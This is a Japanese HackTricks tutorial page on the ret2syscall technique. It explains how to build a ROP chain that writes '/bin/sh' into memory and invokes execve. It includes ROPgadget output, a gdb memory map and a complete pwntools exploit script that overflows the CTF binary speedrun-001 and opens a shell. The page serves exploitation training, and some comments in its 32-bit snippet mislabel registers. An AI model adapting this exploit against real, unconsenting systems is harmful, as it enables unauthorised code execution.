Ret2syscall
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、すべてはsys_execve
システムコールを引数付きで呼び出し、/bin/sh
を実行するために準備されます。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。
syscallの呼び出しを準備するためには、以下の設定が必要です:
rax: 59 sys_execveを指定
rdi: "/bin/sh"へのポインタ、実行するファイルを指定
rsi: 0、引数は渡さないことを指定
rdx: 0、環境変数は渡さないことを指定
基本的に、/bin/sh
という文字列をどこかに書き込み、その後syscall
を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、/bin/sh
を既知の領域に書き込むためのガジェットが必要です。
tip
呼び出すのに興味深い別のシステムコールは**mprotect
で、これにより攻撃者はメモリ内のページの権限を変更する**ことができます。これはret2shellcodeと組み合わせることができます。
レジスタガジェット
これらのレジスタを制御する方法を見つけることから始めましょう:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
これらのアドレスを使用すると、スタックの内容を書き込み、レジスタにロードすることが可能です。
文字列の書き込み
書き込み可能なメモリ
まず、メモリ内の書き込み可能な場所を見つける必要があります。
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
メモリに文字列を書く
次に、このアドレスに任意のコンテンツを書き込む方法を見つける必要があります。
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
ROPチェーンの自動化
次のコマンドは、書き込み可能なガジェットとシステムコール命令がある場合に、静的バイナリから完全な sys_execve
ROPチェーンを作成します:
ROPgadget --binary vuln --ropchain
32ビット
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64ビット
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
ガジェットが不足している場合
もしガジェットが不足している場合、例えばメモリに/bin/sh
を書き込むために、スタックからすべてのレジスタ値(RIPやパラメータレジスタを含む)を制御するためにSROP技術を使用することができます:
SROP - Sigreturn-Oriented Programming
エクスプロイトの例
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
その他の例と参考文献
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64ビット、PIEなし、nx、メモリに
execve
を呼び出すROPを書き、そこにジャンプします。 - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64ビット、nx、PIEなし、メモリに
execve
を呼び出すROPを書き、そこにジャンプします。スタックに数学的操作を行う関数を書き込むために悪用されます。 - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64ビット、PIEなし、nx、BFカナリア、メモリに
execve
を呼び出すROPを書き、そこにジャンプします。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。